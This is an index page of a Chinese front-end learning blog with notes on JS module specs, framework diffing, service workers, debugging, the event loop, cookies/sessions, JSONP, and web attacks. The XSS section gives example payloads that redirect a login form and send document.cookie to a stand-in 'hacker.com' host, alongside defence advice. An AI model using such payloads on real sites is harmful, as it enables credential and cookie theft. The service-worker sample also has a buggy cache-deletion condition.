My Little World

learn and share


  • 首页

  • 分类

  • 标签

  • 归档

  • 关于
My Little World

四种规范

发表于 2018-01-21

common.js 规范

node.js的模块编程规范,适用于服务端,不能在浏览器使用
涉及到四个环境变量
module,exports,require,global
同步加载
require()引入
module.exports() 输出

AMD规范(require.js)

依赖在服务端,异步加载,提前加载所需模块
require([module], callback); 引入,等待所有依赖模块加载完后再执行回调函数
define() 输出return的内容

CMD规范(sea.js)

可异步加载,按需加载,不用提前加载
define 定义
export 输出
require 引入

es6规范

使用import 引入模块,需要bable转成require,浏览器才能运行
使用export 输出

链接
相关

My Little World

各种框架框架的数据绑定机制

发表于 2018-01-21

angular js

脏检查机制

react

虚拟DOM:react 在初始化的时候会render一颗dom树,当state/props发生改变的时候,render函数会再渲染出另外一棵树与之前的dom树进行对比,新渲染的树就是虚拟dom树
diff 算法:比较dom树时的算法,

只会对同层节点进行比较;
父节点不同,不会再去比较子节点;

同层比较时,遇到结点类型不同,比如结点顺序发生变化时
没有key属性的时候,自己以及自己以后的结点都会被删除,重新建;删除时,会卸载删除的结点以及以后的结点,再新建以后的结点
如果有key的话,则只会新增插入的结点,卸载被替换的结点 其他结点则只是update,不受影响;删除的话,只卸载删除的结点

遇到结点类型相同,
要去比较属性是否相同,如果不同,则只替换属性,只进行update

性能优化:避免不必要渲染
使用shouldComponentUpdate(),当这个方法返回true的时候,需要重新渲染,false的时候不需要(默认是true).
使用PureComponent组件,它会自动浅对比props/state,当两者相同的时候不渲染节点。
PureComponent只会浅比较,所以不适合用于深层嵌套的对象。
同时,PureComponent不仅仅会跳过自己的重新渲染,还会跳过它所有子节点的,所以要注意,用它的时候是最好没有子节点并且不依赖于global state的展示型组件。
reactlife

vue1.0

单检查

vue2.0

虚拟DOM和diff算法

vuelife

检测数据变更的4中方法

手动触发绑定
脏检查机制
数据对象劫持,使用Object.defineProperty
使用proxy

三大框架对比

1.数据检查更新原理不同
angularjs用脏检查
vue和react 使用diff算法
后两者效率更高

2.构建组件使用来说
angularjs更需要遵守框架规则,相对比较严谨
而vue次之,具备自己的响应式机制,所以要遵循一定的规则
最开放的是react,可以从更底层去定义自己想要的组件,
也可能跟react定位有关,一个用于构建UI的js库
它是一个库
库和框架的区别就是
库是,你调用库,作为开发者你有主动权
框架是你被框架调用,作为开发者你要听框架的
缺点就是数据改变自己要写监听逻辑

3.从使用场景上
angularjs和react都比较适合应用于大型网站开发
而vue小巧轻便,适合小项目开发

4.从学习成本上
vue最低,从用人角度来说最好找人
然后由于angular的规范严谨,导致需要学习的文档较多,
学习成本显而易见
react的开发角度相对以上两个框架更加向下,
有点像写早期模板语言,加上JSX语言的引入,
所以学习成本自然也是不低的

My Little World

模板引擎前后端优缺点

发表于 2018-01-04

模板引擎在后端
优点
在第一次请求时不需要发送请求数据的的HTTP,加载速度可能会快一些;
利于SEO;

缺点
前端模板有改动,后端对应的模板页面也要改动;
如果页面有复杂JS,前端因为没有数据不方便调试,后端需要使用js进行修改;
服务器负载压力大

模板引擎在前端
优点
前后端分离,后台只需要处理逻辑业务,提供接口,减少服务端压力;
前端修改方便;
可跨平台,兼容不同后端技术

缺点
不利于SEO(搜索引擎无法抓取页面的数据,因为只是模板,没有数据内容)
JS有可能被用户禁用,数据安全性低

My Little World

ng-src

发表于 2018-01-04

ng-src

img 里面使用src=”{ { } }“会在页面一开始加载模板的时候,不会执行{ { } },直接去请求资源,造成404错误
如果使用ng-src = “{ { } }“就会避免以上问题,ng-src会先去执行{ { } },得到资源地址后再去请求资源
ng-src 指令确保的 AngularJS 代码执行前不显示图片。

My Little World

service worker

发表于 2018-01-03

前端与后台代理服务器

主要方法

fetch 事件/方法:service worker向后台发起HTTP请求的方法
fetch(url).then()

message事件/方法:页面和service worker之间进行通信的方法;同一页面两个窗口之间通信(web worker线程)
postMessage发送消息;message接收消息

caches API:处理缓存

生命周期

注册 register
安装 install
激活 activation
更新 Update
service-worker.js文件更新被浏览器发现后,会进入waitting等待状态,当前页面依旧使用旧文件进行work,
直到当前页面关闭,旧版本文件的service worker才会被kill掉,新版本文件的service worker开始接管页面的缓存资源
新的service worker一开始接管就会触发activate事件,从而可以做一些上次老版本缓存的工作

缓存的文件发生更新,可以在fetch 的时候,一边检查更新从而更新缓存,一边检查缓存然后fetch新资源给浏览器,
通过 promise 的 resolve 特性来决定谁快

应用场景

(https环境)
后台消息传递
网络代理,转发请求,伪造响应
离线缓存
消息推送

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
//在项目入口/配置js文件 进行注册
if (navigator.serviceWorker) {
navigator.serviceWorker.register('service-worker.js').then(function(registration) {
console.log('service worker 注册成功');
}).catch(function (err) {
console.log('servcie worker 注册失败')
});
}

//service-worker.js 放在项目根目录下,service worker的执行代码
var cacheFiles = [ //指定缓存的文件
'about.js',
'blog.js'
];
self.addEventListener('install', function (evt) { //在安装的时候就将指定文件存入cache storage中
evt.waitUntil(
caches.open('my-test-cahce-v1').then(function (cache) { //使用caches api进行缓存操作
return cache.addAll(cacheFiles);
})
);
});
//页面fetch 资源时进行过滤
self.addEventListener('fetch', function(event) {
event.respondWith(
caches.match(event.request) //检查缓存是否有资源
.then(function(response) {
if (response) { //如果有直接返回
return response;
}

// 因为 event.request 流已经在 caches.match 中使用过一次,
// 那么该流是不能再次使用的。我们只能得到它的副本,拿去使用。
var fetchRequest = event.request.clone();

// fetch 的通过信方式,得到 Request 对象,然后发送请求
return fetch(fetchRequest).then(
function(response) {
// 检查是否成功
if(!response || response.status !== 200 || response.type !== 'basic') {
return response;
}

// 如果成功,该 response 一是要拿给浏览器渲染,而是要进行缓存。
// 由于 caches.put 使用的是文件的响应流,一旦使用,
// 那么返回的 response 就无法访问造成失败,所以,这里需要复制一份。
var responseToCache = response.clone();

caches.open(CACHE_NAME)
.then(function(cache) {
cache.put(event.request, responseToCache);
});

return response;
}
);
})
);
});

//service-worker.js文件更新删除之前版本文件缓存的资源

self.addEventListener('activate', function(event) {

var cacheWhitelist = ['v1'];

event.waitUntil(
// 遍历 caches 里所有缓存的 keys 值
caches.keys().then(function(cacheNames) {
return Promise.all(
cacheNames.map(function(cacheName) {
if (cacheWhitelist.includes(cacheName)) {
// 删除 v1 版本缓存的文件
return caches.delete(cacheName);
}
})
);
})
);
});

相关文档
fetch 通信
web worker 语法
Service Worker API

遗留问题:fetch通信headers添加token字段,不生效

My Little World

调试

发表于 2018-01-03

fiddler 使用

浏览器向服务器发送请求的拦截器

statistic

查看一次请求各阶段所发生的时间,HTTP performance
fiddler5

Inspectors

查看报文,上半部分是request,下半部分是response
fiddler4

AutoResponder

拦截本来要发给真正服务器的指定请求,将本地资源作为response返回去
fiddler3
1.开启规则
2.添加规则
3.指定请求,若以EXACT:开头,要写完整的请求路径;模糊匹配的话就不要写EXACT:
4.指定作为response的本地路径资源地址
5.确认规则配置完毕

composer

自己创建request 向服务器发送请求
fiddler2
配置好request后,点击excute按钮手动向服务器发送请求

Filters

只拦截指定的请求,其他请求不拦截,指定多个时用逗号隔开
fiddler1
填写指定请求时,编辑框为黄色,为未保存状态,点击右上角‘Changes not yet saved’确认配置完毕

谷歌浏览器调试常用

将respose进行json格式转换

1.右键接口选择copy->copy response;
2.在console界面执行copy()函数
copy( ctrl+v ) 回车
3.打开编辑器,新建一个文件,ctrl+v,就得到response 的json格式
debug1

console使用

  1. console.table(obj):将json数据以表格形式展示在控制台
    例

    1
    2
    3
    4
    5
    6
    7
    var animals = [
    { animal: 'Horse', name: 'Henry', age: 43 },
    { animal: 'Dog', name: 'Fred', age: 13 },
    { animal: 'Cat', name: 'Frodo', age: 18 }
    ];

    console.table(animals);
  2. 使用 console.time() 和 console.timeEnd() 对循环做基准测试
    例

    1
    2
    3
    4
    5
    6
    7
    8
    9
    console.time('Timer1');

    var items = [];

    for(var i = 0; i < 100000; i++){
    items.push({index: i});
    }

    console.timeEnd('Timer1');

最后会得到循环所用时间
Timer1:xxxxx ms

  1. 使用console.trace 跟踪调用栈
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    var car;
    var func1 = function() {
    func2();
    }

    var func2 = function() {
    func4();
    }
    var func3 = function() {
    }

    var func4 = function() {
    car = new Car();
    car.funcX();
    }
    var Car = function() {
    this.brand = 'volvo';
    this.color = 'red';
    this.funcX = function() {
    this.funcY();
    }

    this.funcY = function() {
    this.funcZ();
    }

    this.funcZ = function() {
    console.trace('trace car')
    }
    }
    func1();
    结果如下:
    trace car
    Car.funcZ @ VM524:28
    Car.funcY @ VM524:24
    Car.funcX @ VM524:20
    func4 @ VM524:14
    func2 @ VM524:7
    func1 @ VM524:3
    (anonymous) @ VM524:31

调试js

在当前页面的js里面修改或添加代码后,ctrl+s 然后在页面触发更改的代码,即可进行调试
但要注意需要刷新才能执行到的代码,不能用这种方式进行调试

断点

直接在代码序号上进行点击即添加了断点
取消断点就再点击断点
退出断点调试就点右上角
debug2
禁用断点
debug3
如果想知道当前断点上的变量值,只需要将鼠标放在变量上即可
相关链接
相关链接

My Little World

关于事件循环event-loop

发表于 2018-01-01

js单线程

同一时间只干一件事,干完一件事再干下一件事,
如果前一个任务耗时很长,后一个任务也得一直等着

为什么这样设计?
js 要指挥浏览器干活,如果有两个线程同时执行任务,一个删除DOM,一个修改该DOM,浏览器会不知道以哪个线程为准

任务队列

同步任务,在主线程上排队执行的任务,前一个执行完才能执行后一个任务
异步任务,一开始不进入主线程,而进入‘任务队列’被挂起,只有‘任务队列’通知主线程某个异步任务可以执行了,该任务才会进入主线程
或者主线程上没有要执行的任务了,就会去任务队列拿任务 ,在确认该到达规定时间后,就给到主线程进行执行其对应的回调函数

event Loop

主线程从”任务队列”中读取事件,这个过程是循环不断的,所以整个的这种运行机制又称为Event Loop(事件循环)
setTimeout(fn,0)的含义是,指定某个任务在主线程最早可得的空闲时间执行,即尽可能早得执行
另外如果主线程的栈中当前代码耗时很长,要等很久,按照先主线程,再任务队列的执行顺序,
就没办法保证setTimeout的回调函数fn能够在指定的时间执行

node.js event loop

nodejs 运行机制:
(1)V8引擎解析JavaScript脚本。
(2)解析后的代码,调用Node API。
(3)libuv库负责Node API的执行。它将不同的任务分配给不同的线程,形成一个Event Loop(事件循环),以异步的方式将任务的执行结果返回给V8引擎。
(4)V8引擎再将结果返回给用户。

与任务队列相关方法
process.nextTick:在主线程任务全部结束后,读取任务队列的任务之前执行它所指定的函数,
如果指定函数里还套嵌process.nextTick方法,或者有多个process.nextTick方法,都要在本轮读取任务队列前执行完
setImmediate:它指定的任务总是在下一次的eventloop时执行,
如果setImmediate与setTimeout(fn,0)各自添加了一个回调函数,那么在下一loop时,他们回调函数的顺序是不确定
如果setImmediate套嵌setImmediate方法,则套嵌的回调函数会被注册到下一轮事件循环中再执行

即多个process.nextTick语句总是在当前”执行栈”一次执行完,多个setImmediate可能则需要多次loop才能执行完。

相关链接

补充

task/macrotask:script(整体代码), setTimeout, setInterval, setImmediate, I/O, UI rendering
setTimeout() 设置的异步延迟事件;
DOM 操作相关如布局和绘制事件;
网络 I/O 如 AJAX 请求事件;
用户操作事件,如鼠标点击、键盘敲击。
micotask:process.nextTick, Promises(这里指浏览器实现的原生 Promise), Object.observe, MutationObserver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
process.nextTick(() => {
console.log('nextTick')
})
Promise.resolve()
.then(() => {
console.log('then')
})
setImmediate(() => {
console.log('setImmediate')
})
console.log('end')

//结果
end
nextTick
then
setImmediate

micro-task在ES2015规范中称为Job,
promise.then的执行其实是向PromiseJobs添加Job

在eventloop中,一个task执行完会检查micotask队列,如果有,则先执行micotask,然后再去异步队列领取任务
相关
相关
相关

My Little World

session 和cookie

发表于 2017-12-28

正常情况下身份识别

用户提交登录信息,服务器拿到登录信息进行验证之后,
为该用户在session表中建立唯一sessionid,然后在返回响应的时候,将sessionid放在set-cookie中告诉浏览器,将sessionid 放在cookie表中,下次请求的时候放在cookie中再发给我
这样用户在已登录的状态下进行的访问请求,浏览器都会在报文中将sessionid放在cookie中给回服务器
服务器拿到cookie 就能判断用户是否进行了登录,并根据session表确定登录身份

session 机制

当用户访问服务器时,服务器就会先检查请求有没有带sessionid,
如果没带的话,就为该用户在session列表中建立一个session,
(这个session是存储特定用户会话所需的属性及配置信息的一个对象,开发人员可以控制里面是什么内容,可以自定义的)
并生成唯一sessionid通过set-cookie给回用户
如果有带的话,就根据sessionid 在列表中查找对应的session,将session 取出来使用,如果没找到则可能新建一个

1.浏览器禁用cookie解决办法
让浏览器重写url:将sessionid 以参数或者附加信息方式放在url后面传递给服务器
表单隐藏字段:服务器在返回表单的时候就将sessionid 以隐藏字段方式给过去,客户端提交表单的时候就一并传回来

2.session什么时候被删除
过期就会自动删除
执行特定删除命令的时候,比如注销
session存在内存中的时候,当服务器被重启或者停止时,session列表会被清空

3.session存储
一般存在内存中,但服务器重启或者停止会被清空
如果想持久保存,可以放在硬盘里面,这样服务器重启或者停止不会被清空

cookie 机制

浏览器拿到set-cookie后,会根据sessionid ,域名,路径等相关信息,生成cookie,存到cookie列表中
当用户要请求服务器时,就根据请求资源路径去查cookie表,找到的cookie可用的范围如果大于等于请求路径,
就将cookie放在请求头给回服务器

1.cookie存储
会话cookie存储在内存中,页面关闭就删除
设置了过期时间的cookie,会被存储在硬盘上,直到超过设定时间才会被删除

2.cookie与浏览器
存储在硬盘上的cookie可以在不同浏览器进程间共享
对于内存上的cookie不同浏览器有不同处理方式
IE通过 ctrl+N 的方式打开的窗口可以与原窗口共享cookie,但其他方式不行
而火狐的所有进程和标签页都可以共享cookie

一般情况下通过js window.open打开的窗口会与原窗口共享内存cookie

游客识别跟踪

用户未登录情况下进行页面请求,且之后都不进行登录操作的情况下,还要与用户保持可进行身份识别的通信,
这种情景解决办法可以有
A.
一般就需要依靠识别机器来识别用户了
首先给未登录用户设置访问用户cookie,
根据不同机型用canvas写字像素是不一样的原理
这个cookie由游客设备的各种机器特征码组合起来生成给到服务器,
服务器存起来
下次再访问的时候,就依靠客户端建立的cookie进行识别
或者将机器信息传给服务器,由服务器生成再传给浏览器

B.
使用fingerprint.js包,它是一个可以根据浏览器的代理字符串,屏幕色深,语言,插件安装与支持的 MIME 类型,时区偏移量和其他功能,如本地存储和会话存储等等,
然后这些值通过散列函数传递产生指纹,不需要通过 Cookie 存储就可以识别浏览器

由未登录到登录态要做的事情就要注意两个账号的关联

奇葩问题:在一台设备登录过多个账号的情况下,怎样进行未登录数据的关联
首先设备一般会让你先退出再登录另一个账号,
即便要登录多个账号,要做关联,在第一个用户登录后就关联完了,后面多个再登录已经不再是由未登录到登录状态了

My Little World

关于jsonp

发表于 2017-12-01

关于jsonp

是一种json数据的使用模式的名称,
获取的资料可以是任意js

使用

1.在script标签中使用

1
2
3
4
<script type="text/javascript" src="http://www.xxxx.com/myService.aspx?param=senddata&jsonp=callbackFunction"></script>

js:
function callbackFunction(result,methodName){}

服务端提供的js脚本会根据param=senddata等查询条件过滤数据,根据jsonp=callbackFunction,动态生成callbackFunction函数,把要传递的数据以参数形式传递进去
例,这里服务端js会生成如下语句供回调
callbackFunction(data1,dat2),data1,data2即传递的数据
2.在ajax中使用

1
2
3
4
5
6
7
8
9
$.ajax({
dataType:'jsonp',
data:'id=10',
jsonp:'jsonp_callback',
url:'http://www.xxxxx.com/getdata',
success:function(data){
//dostuff
},
});

可以直接的success回调函数中使用数据进行处理
3.在$.get中使用

1
2
3
4
5
6
7
$.get(
'http://xxxxxx.com/services.php?callback=?',
{
param: data, //参数
function (json) { //dosomething }, //回调函数,?会替换为这里
'jsonp'
);

4.在$get.json中使用

1
2
3
4
$.getJSON("http://xxxxx.com/services?param1=data1&param1=data2&format=json&jsoncallback=?",
function(data){ //回调函数
//dosomething
});

My Little World

XSS 与 CSRF

发表于 2017-12-01

xss 跨站脚本攻击

原理

通过在页面HTML注入js代码,获取页面信息,再将信息传递到攻击者站点

注入js方法

1.直接将获取信息的代码放在标签里面,利用拼接html的过程,将攻击代码注入到HTML
2.将攻击代码代码放在攻击者站点里面,利用script标签src属性,将文件引入
3.利用页面标签事件属性,攻击代码以触发函数的形式注入,标签事件触发同时触发获取信息的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//例1.原本访问www.original.com/login?id=maya,实现自动将maya赋值到ID输入框里面
<input type='text' value='maya'>
//但如果在访问的同时注入攻击代码,如下
www.original.com/login?id="><script>var+f=document.getElementById('login');+f.action='http://hacker.com/pwee';+f.method='get';</script>"
//页面代码就会变成
<input type='text' value=''><script>var f=document.getElementById('login'); f.action='http://hacker.com/pwee'; f.method='get';</script>
//登录按钮的id为login,即用户输入id,密码,等登录信息后点击登录按钮时,不仅会向正常的登录网站www.original.com发送登录信息,
//同时会向http://hacker.com站点发送登录信息,攻击者即得到用户的登录信息,如果是支付页面,即可以得到支付密码

//例2.获取用户登录态cookie的攻击代码xss.js放在攻击者的站点,如下
var content = escape(document.cookie) //escape() 函数可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。
document.write("<img src='http://hacker.com/?'");
document.write(content);
document.write('>');
//本次代码注入的方式变为访问
www.original.com/login?id="><script src='http://hacker.com/xss.js'></script>"
就会执行xss.js的代码,将用户cookie通过img的src发出的请求送到hacker站点

//例3. form表单提交时,给提交按钮添加触发事件,触发函数即注入的攻击代码
<input type='submit' onclick='hacker()'>
//如果需要用户无察觉的触发,可使用onmousemove、onload等事件进行触发

防范

对代码进行漏洞检查;
对特殊字符进行encode;
对富文本进行白名单处理;
在js里面不要用eval,innerHTML;
在response头部的set-cookie中添加httponly,不允许脚本操作document.cookie;
使用x-xss-protection报头
对特殊字符进行encode
把 < 替换成 <
把 > 替换成 >
把 & 替换成 &
把 ’ 替换成 '
把 ’ 替换成 "
代码 div.innerHTML = userComment.replace(/>/g, ‘<’).replace…

CSRF 跨站请求伪造

原理

攻击站点通过用户触发攻击代码获取登录态,伪造用户身份向源站请求资源或发送信息

csrf
相关链接

防范

1.利用token,让token以参数角色返回服务器,服务器对比之前保存的token,从而判断该请求来自正常页面请求,攻击站点无法获取到token,因此就不能进行任何操作
2.利用攻击站点无法获取cookie的弱点,对获取到的cookie进行转换成token后以参数形式返回后台,因为攻击站点没法获取cookie,也就没办法返回参数
3.使用strict-transport-security报头

SQL注入攻击

前端提交的数据未经校验处理直接存到数据库,然后从数据库中读取直接插入到页面中
1.如果提交的数据本来含有可解析的代码,从数据库读取后在插入过程中可造成XSS攻击
2.如果提交的数据含有SQL查询语句,且被直接拼接到SQL语句中被执行,可能会导致执行结果与预期不同的现象

防范

对前端提交的数据进行严格校验

DNS劫持

表现就是DNS服务器上解析表被篡改,导致将正常访问的域名指向篡改后的域名

HTTP劫持

数据包被修改或插入,导致页面出现弹窗广告
解决办法就是使用HTTPS
使用upgrade-insecure-request报头请求升级HTTPS
使用content-security-policy报头响应升级HTTPS

1…131415…25
YooHannah

YooHannah

246 日志
1 分类
21 标签
RSS
© 2025 YooHannah
由 Hexo 强力驱动
主题 - NexT.Pisces